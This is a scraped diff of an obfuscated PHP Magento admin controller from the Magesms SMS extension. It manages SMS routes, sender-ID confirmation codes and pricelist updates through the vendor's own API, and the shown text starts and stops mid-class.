$ice10b700e3771fcda63608142bce93b608228583->getId()); foreach($ie7d1444276fe9dee937fd96d6e0519397fdc5701 as $i7079b107a03c03d74ad14b853dad74b85b2d25d1) { $i7079b107a03c03d74ad14b853dad74b85b2d25d1->setTextsender($ice10b700e3771fcda63608142bce93b608228583->getData('senderID')); foreach($i9bd2c88ca2206122845c5e189e2b6856a2409e3a as $ida3b491904fb073f446bf820cd55a0ff69b347d1) { if ($ida3b491904fb073f446bf820cd55a0ff69b347d1->getStoreGroupId() == $i7079b107a03c03d74ad14b853dad74b85b2d25d1->getId()) { $i7079b107a03c03d74ad14b853dad74b85b2d25d1->setTextsenderAlternative($ida3b491904fb073f446bf820cd55a0ff69b347d1->getTextsender()); break; } } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setStores($ie7d1444276fe9dee937fd96d6e0519397fdc5701); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } $this->_redirect('*/*/index'); } public function validatesenderalternativeAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { $i75cfaf6baf7d451ab67af9aeef048aecfea24a82 = Mage::getModel('core/resource_transaction'); try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $i9bd2c88ca2206122845c5e189e2b6856a2409e3a = Mage::getModel('magesms/routes_alternative')->getCollection()->addFieldToFilter('route_id', $this->getRequest()->getParam('id')); $if2edf17aeebbb7b610065024e328c82ec7b37bbe = $iacbd1c78463510856e506611fe14b5e1173581a6->getParam('store_group'); $ice10b700e3771fcda63608142bce93b608228583 = Mage::getModel('magesms/routes')->load($this->getRequest()->getParam('id')); foreach($i9bd2c88ca2206122845c5e189e2b6856a2409e3a as $ida3b491904fb073f446bf820cd55a0ff69b347d1) { $if433319f9b66f967b64d332ee0b51bea06276d26 = false; foreach($if2edf17aeebbb7b610065024e328c82ec7b37bbe as $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66=>$i340682ca0ed5a64e8ea449191da847abaf0aec6f) { if ($ida3b491904fb073f446bf820cd55a0ff69b347d1->getStoreGroupId() == $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66) { $if433319f9b66f967b64d332ee0b51bea06276d26 = true; if ($ida3b491904fb073f446bf820cd55a0ff69b347d1->getTextsender() != $i340682ca0ed5a64e8ea449191da847abaf0aec6f || $ice10b700e3771fcda63608142bce93b608228583->getData('senderID') == $i340682ca0ed5a64e8ea449191da847abaf0aec6f) { if (!$i340682ca0ed5a64e8ea449191da847abaf0aec6f || $ice10b700e3771fcda63608142bce93b608228583->getData('senderID') == $i340682ca0ed5a64e8ea449191da847abaf0aec6f) { $ida3b491904fb073f446bf820cd55a0ff69b347d1->isDeleted(true); } else { $ida3b491904fb073f446bf820cd55a0ff69b347d1->setTextsender($i340682ca0ed5a64e8ea449191da847abaf0aec6f); } } unset($if2edf17aeebbb7b610065024e328c82ec7b37bbe[$i3bf172bc34c83f4a18624b192bc0bd7c4d647a66]); break; } } if ($if433319f9b66f967b64d332ee0b51bea06276d26 !== true) $ida3b491904fb073f446bf820cd55a0ff69b347d1->isDeleted(true); $i75cfaf6baf7d451ab67af9aeef048aecfea24a82->addObject($ida3b491904fb073f446bf820cd55a0ff69b347d1); } foreach($if2edf17aeebbb7b610065024e328c82ec7b37bbe as $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66=>$i340682ca0ed5a64e8ea449191da847abaf0aec6f) { if ($ice10b700e3771fcda63608142bce93b608228583->getData('senderID') == $i340682ca0ed5a64e8ea449191da847abaf0aec6f) continue; $ida3b491904fb073f446bf820cd55a0ff69b347d1 = Mage::getModel('magesms/routes_alternative'); $ida3b491904fb073f446bf820cd55a0ff69b347d1->setRouteId($this->getRequest()->getParam('id')); $ida3b491904fb073f446bf820cd55a0ff69b347d1->setStoreGroupId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $ida3b491904fb073f446bf820cd55a0ff69b347d1->setTextsender($i340682ca0ed5a64e8ea449191da847abaf0aec6f); $i75cfaf6baf7d451ab67af9aeef048aecfea24a82->addObject($ida3b491904fb073f446bf820cd55a0ff69b347d1); } $i75cfaf6baf7d451ab67af9aeef048aecfea24a82->save(); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function savesenderalternativeAction() { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getModel('magesms/routes')->load($this->getRequest()->getParam('id')); Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Text sender ID for ').$ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getAreaText().$this->__(' was saved.')); $this->_redirect('*/*/index'); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/wizard') ->_title(Mage::helper('magesms')->__('SMS Settings')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/wizard'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Adminhtml_Magesms_WizardController extends Topefekt_Magesms_Controller_Action { public $confirmsms; protected function _construct() { parent::_construct(); $this->confirmsms = Mage::helper('magesms')->__('Confirmation code: '); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/wizard.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); if (!Mage::app()->loadCache('magesms_pricelist_update') || Mage::app()->loadCache('magesms_pricelist_update') != date('Y-m-d')) { Mage::app()->saveCache(date('Y-m-d'), 'magesms_pricelist_update'); $this->updatepricelistAction(); } return $this; } public function editAction() { $ia118aa93019887b74fdff43dbcf59dce271cae7d = $this->getRequest()->getParam('country0'); $i30f20aafde612a957f7f966cb5b85e35782bc88a = $this->getRequest()->getParam('type'); $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = true; if ($ia118aa93019887b74fdff43dbcf59dce271cae7d && $i30f20aafde612a957f7f966cb5b85e35782bc88a) { $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = Mage::getSingleton('magesms/country_area')->getCollection()->addFilter('country_name', $ia118aa93019887b74fdff43dbcf59dce271cae7d); if ($i037b855bc01175f2c77d5c3e19eda9a0003feff4->count()) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=dost&username='.urlencode($this->profile->user->user).'&password='.urlencode($this->profile->user->passwd). '&area='.urlencode($i037b855bc01175f2c77d5c3e19eda9a0003feff4->getFirstItem()->getArea()).'&currency='.urlencode($this->profile->currency); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getModel('magesms/routes'); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setInfo($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['datasrc']); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setArea($i037b855bc01175f2c77d5c3e19eda9a0003feff4->getFirstItem()->getArea()); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setType($i30f20aafde612a957f7f966cb5b85e35782bc88a); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setAreaText($ia118aa93019887b74fdff43dbcf59dce271cae7d); Mage::register('routes', $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec); } else { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = false; } } else { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = false; } } if ($i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4) { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/wizard-edit.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } Mage::getSingleton('adminhtml/session')->addError($this->__('Unable to find a Route to load.')); $this->_redirect('*/*/'); } public function deleteAction() { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id')) { try { $ice10b700e3771fcda63608142bce93b608228583 = Mage::getModel('magesms/routes')->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $ice10b700e3771fcda63608142bce93b608228583->delete(); Mage::getSingleton('adminhtml/session')->addSuccess($ice10b700e3771fcda63608142bce93b608228583->getAreaText().$this->__(' was deleted.')); $this->_redirect('*/*/'); return; } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($this->__($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage())); $this->_redirect('*/*/'); return; } } Mage::getSingleton('adminhtml/session')->addError($this->__('Unable to find a Route to delete.')); $this->_redirect('*/*/'); } public function addcountrycustomerAction() { $this->getRequest()->setParam('type', 'customer'); $this->addcountryAction(); } public function addcountryadminAction() { $this->getRequest()->setParam('type', 'admin'); $this->addcountryAction(); } public function addcountryAction() { $ia118aa93019887b74fdff43dbcf59dce271cae7d = $this->getRequest()->getParam('country0'); $i30f20aafde612a957f7f966cb5b85e35782bc88a = $this->getRequest()->getParam('type'); if ($ia118aa93019887b74fdff43dbcf59dce271cae7d && $i30f20aafde612a957f7f966cb5b85e35782bc88a) { try { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getSingleton('magesms/routes')->getCollection(); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->addFilter('area_text', $ia118aa93019887b74fdff43dbcf59dce271cae7d)->addFilter('type', $i30f20aafde612a957f7f966cb5b85e35782bc88a); if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->count()) { $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getFirstItem()->getId(); $this->_redirect('*/*/edit', array('id'=>$i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)); return; } $this->_redirect('*/*/edit', array('country0'=>$ia118aa93019887b74fdff43dbcf59dce271cae7d, 'type'=>$i30f20aafde612a957f7f966cb5b85e35782bc88a, 'id'=>0)); return; } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($this->__($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage())); $this->_redirect('*/*/'); return; } } Mage::getSingleton('adminhtml/session')->addError($this->__('Unable to find a Route to load.')); $this->_redirect('*/*/'); } public function addrouteAction() { if (Mage::getSingleton('adminhtml/session')->hasData('routes')) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getSingleton('adminhtml/session')->getData('routes'); $this->_redirect('*/*/addroutesender'); } else { Mage::getSingleton('adminhtml/session')->addSuccess(Mage::getSingleton('adminhtml/session')->getData('routesuccess').$this->__(' was saved.')); Mage::getSingleton('adminhtml/session')->unsetData('routesuccess'); $this->_redirect('*/*/index'); } } public function addroutesenderAction() { if (Mage::getSingleton('adminhtml/session')->hasData('routes')) { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/wizard-sender.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } else { $this->_redirect('*/*/index'); } } public function validateAction($i5ba2c5364d6756af3701b475c0706df889a2545f = false) { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getModel('magesms/routes'); if ($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('id')) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->load($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('id')); } $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setArea($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('area')); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setAreaText($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('country0')); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setType($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('type')); $iecc25823227283479c5811005734b6ee2bd56071 = explode(';', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('isms')); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setIsms($iecc25823227283479c5811005734b6ee2bd56071[0]); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setSendertype($iecc25823227283479c5811005734b6ee2bd56071[1]); $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->validate(); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { if ($i5ba2c5364d6756af3701b475c0706df889a2545f === true) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->save(); } else { if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_SYSTEM || $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_SIM) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setData('senderID', ''); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->save(); Mage::getSingleton('adminhtml/session')->unsetData('routes'); Mage::getSingleton('adminhtml/session')->setData('routesuccess', $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getAreaText()); } else { Mage::getSingleton('adminhtml/session')->setData('routes', $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec); } } } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function validatesenderAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getSingleton('adminhtml/session')->getData('routes'); if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode !== true) { $i1b3f50fe6674f47cc7c1967f93ff153879178f04 = trim(($i51c6d8e5b3a92b4b73711680253408ec6d3d25f6 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('sender')) ? $i51c6d8e5b3a92b4b73711680253408ec6d3d25f6 : $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('newsender')); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->setData('senderID', $i1b3f50fe6674f47cc7c1967f93ff153879178f04); } else { $id3e549697752385571e09ffe4add9278d2d6923b = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('code'); $i1b3f50fe6674f47cc7c1967f93ff153879178f04 = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getData('senderID'); } $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->validate(true); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction') ->addObject($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec); if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_OWN) { $i451f679eaafeecb81387b150019f0d9e0fa83d16 = Mage::getModel('magesms/api'); if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode !== true) { $i74c7f58458d186850e8386ae20067ea0a7958311 = $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getGate($i1b3f50fe6674f47cc7c1967f93ff153879178f04, 'admin'); $i9e1925546463c5a41ccbc625ed973556cc86a495 = ''; if(!$i74c7f58458d186850e8386ae20067ea0a7958311->isEmpty()): $i9e1925546463c5a41ccbc625ed973556cc86a495 = base64_decode("JmlzbXM9").urlencode($i74c7f58458d186850e8386ae20067ea0a7958311->getIsms()).base64_decode("JnNlbmRlcj0=").urlencode($i74c7f58458d186850e8386ae20067ea0a7958311->getData('senderID')); endif; $ia61712c27ea241bd7a543dc2b02ea572274d0322 = "action=checksenderID&text_sms=".urlencode($this->confirmsms).base64_decode("JnVzZXJuYW1lPQ==").urlencode($this->profile->user->user). base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd).base64_decode("JnNlbmRlcklEPQ==").urlencode($i1b3f50fe6674f47cc7c1967f93ff153879178f04).$i9e1925546463c5a41ccbc625ed973556cc86a495; $ia61712c27ea241bd7a543dc2b02ea572274d0322 = $i451f679eaafeecb81387b150019f0d9e0fa83d16->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if (in_array($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'], array(1, 11))) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getSingleton('magesms/smshistory'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNumber('+'.$i1b3f50fe6674f47cc7c1967f93ff153879178f04); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setDate(date('Y-m-d h:i:s', Mage::getModel('core/date')->timestamp(time()))); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($this->confirmsms); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(1); list($ie10d5ed46013be2962a9d08e0e1912a9c56891b4, $i58457975a91d59a84d2920953badcb7365ac1f01, $if928b7780c12c52495a2f84d8c183269cfcb7c63) = explode("__", $ia61712c27ea241bd7a543dc2b02ea572274d0322['datasrc']); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setPrice($i58457975a91d59a84d2920953badcb7365ac1f01); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCredit($if928b7780c12c52495a2f84d8c183269cfcb7c63); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSender($i74c7f58458d186850e8386ae20067ea0a7958311->getData('senderID')); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode(0); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setType(Topefekt_Magesms_Model_Sms::TYPE_ADMIN); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSmsid($ie10d5ed46013be2962a9d08e0e1912a9c56891b4); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal(1); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->save(); $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode = true; Mage::getSingleton('adminhtml/session')->setData('routes', $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 111) { } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3 && $ia61712c27ea241bd7a543dc2b02ea572274d0322['error'] == 9) { Mage::throwException(Mage::helper('magesms')->__('error - wrong number or unavailable')); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3 && $ia61712c27ea241bd7a543dc2b02ea572274d0322['error'] == 10) { Mage::throwException(Mage::helper('magesms')->__('error - low credit for sending validation SMS')); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3 && $ia61712c27ea241bd7a543dc2b02ea572274d0322['error'] == 15) { Mage::throwException(Mage::helper('magesms')->__('error - unauthorized senderID in confirmation sms')); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3) { Mage::throwException(Mage::helper('magesms')->__('error - '.$ia61712c27ea241bd7a543dc2b02ea572274d0322['error'])); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 4) { Mage::throwException(Mage::helper('magesms')->__('login error')); } else { Mage::throwException(Mage::helper('magesms')->__('can not connect to SMS server').' '.$ia61712c27ea241bd7a543dc2b02ea572274d0322['error']); } } else { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = "action=checksenderIDcode&username=".urlencode($this->profile->user->user).base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd). base64_decode("JmNvZGU9").urlencode($id3e549697752385571e09ffe4add9278d2d6923b).base64_decode("JnNlbmRlcklEPQ==").urlencode($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getData('senderID')); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = $i451f679eaafeecb81387b150019f0d9e0fa83d16->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 1) { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode = false; } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 3) { Mage::throwException(Mage::helper('magesms')->__('error - ').$ia61712c27ea241bd7a543dc2b02ea572274d0322['error']); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 4) { Mage::throwException(Mage::helper('magesms')->__('login error')); } elseif ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] == 5) { Mage::throwException(Mage::helper('magesms')->__('correctly confirm sms code')); } else { Mage::throwException(Mage::helper('magesms')->__('can not connect to SMS server')); } } $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = 'ownnumbersender'; } else { $i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd = 'textsender'; } if ($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->displayCode !== true) { $i5b2de9a29c087ac444f7af969b9863250e38aa27 = Mage::getSingleton('magesms/'.$i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd)->getCollection()->addFilter('val', $i1b3f50fe6674f47cc7c1967f93ff153879178f04)->getFirstItem(); $i0a2378e8d343fdb890a9c568b07c541a35a12341 = Mage::getSingleton('magesms/'.$i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd)->load($i5b2de9a29c087ac444f7af969b9863250e38aa27->getId())->setVal($i1b3f50fe6674f47cc7c1967f93ff153879178f04); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i0a2378e8d343fdb890a9c568b07c541a35a12341) ->save(); Mage::getSingleton('adminhtml/session')->unsetData('routes'); if ($i2e5aa867ea7c6f8ed9ffffe56b63b837364669dd == 'textsender') { Mage::getSingleton('adminhtml/session')->setData('routesuccess', $this->__('Text sender ID for ').$ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getAreaText().$this->__(' was saved.')); } else { Mage::getSingleton('adminhtml/session')->setData('routesuccess', $this->__('Own number sender ID for ').$ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getAreaText().$this->__(' was saved.')); } } } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function savesenderAction() { if (Mage::getSingleton('adminhtml/session')->hasData('routes')) { $this->_redirect('*/*/addroutesender'); } else { Mage::getSingleton('adminhtml/session')->addSuccess(Mage::getSingleton('adminhtml/session')->getData('routesuccess')); Mage::getSingleton('adminhtml/session')->unsetData('routesuccess'); $this->_redirect('*/*/index'); } } public function updatepricelistAction() { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getSingleton('magesms/routes')->updatepricelist($this->profile->currency); Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Pricelist was successfully updated.')); $this->_redirect('*/*/index'); } public function alternativeAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/wizard-alternative.phtml') ); $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id'); $ice10b700e3771fcda63608142bce93b608228583 = Mage::getModel('magesms/routes')->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); if ($ice10b700e3771fcda63608142bce93b608228583->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_TEXT) { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setRoute($ice10b700e3771fcda63608142bce93b608228583); $ie7d1444276fe9dee937fd96d6e0519397fdc5701 = Mage::getModel('core/store_group')->getCollection()->setLoadDefault(false); $i9bd2c88ca2206122845c5e189e2b6856a2409e3a = Mage::getModel('magesms/routes_alternative')->getCollection()->addFieldToFilter('route_id', $ice10b700e3771fcda63608142bce93b608228583->getId()); foreach($ie7d1444276fe9dee937fd96d6e0519397fdc5701 as $i7079b107a03c03d74ad14b853dad74b85b2d25d1) { $i7079b107a03c03d74ad14b853dad74b85b2d25d1->setTextsender($ice10b700e3771fcda63608142bce93b608228583->getData('senderID')); foreach($i9bd2c88ca2206122845c5e189e2b6856a2409e3a as $ida3b491904fb073f446bf820cd55a0ff69b347d1) { if ($ida3b491904fb073f446bf820cd55a0ff69b347d1->getStoreGroupId() == $i7079b107a03c03d74ad14b853dad74b85b2d25d1->getId()) { $i7079b107a03c03d74ad14b853dad74b85b2d25d1->setTextsenderAlternative($ida3b491904fb073f446bf820cd55a0ff69b347d1->getTextsender()); break; } } } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setStores($ie7d1444276fe9dee937fd96d6e0519397fdc5701); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } $this->_redirect('*/*/index'); } public function validatesenderalternativeAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { $i75cfaf6baf7d451ab67af9aeef048aecfea24a82 = Mage::getModel('core/resource_transaction'); try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $i9bd2c88ca2206122845c5e189e2b6856a2409e3a = Mage::getModel('magesms/routes_alternative')->getCollection()->addFieldToFilter('route_id', $this->getRequest()->getParam('id')); $if2edf17aeebbb7b610065024e328c82ec7b37bbe = $iacbd1c78463510856e506611fe14b5e1173581a6->getParam('store_group'); $ice10b700e3771fcda63608142bce93b608228583 = Mage::getModel('magesms/routes')->load($this->getRequest()->getParam('id')); foreach($i9bd2c88ca2206122845c5e189e2b6856a2409e3a as $ida3b491904fb073f446bf820cd55a0ff69b347d1) { $if433319f9b66f967b64d332ee0b51bea06276d26 = false; foreach($if2edf17aeebbb7b610065024e328c82ec7b37bbe as $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66=>$i340682ca0ed5a64e8ea449191da847abaf0aec6f) { if ($ida3b491904fb073f446bf820cd55a0ff69b347d1->getStoreGroupId() == $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66) { $if433319f9b66f967b64d332ee0b51bea06276d26 = true; if ($ida3b491904fb073f446bf820cd55a0ff69b347d1->getTextsender() != $i340682ca0ed5a64e8ea449191da847abaf0aec6f || $ice10b700e3771fcda63608142bce93b608228583->getData('senderID') == $i340682ca0ed5a64e8ea449191da847abaf0aec6f) { if (!$i340682ca0ed5a64e8ea449191da847abaf0aec6f || 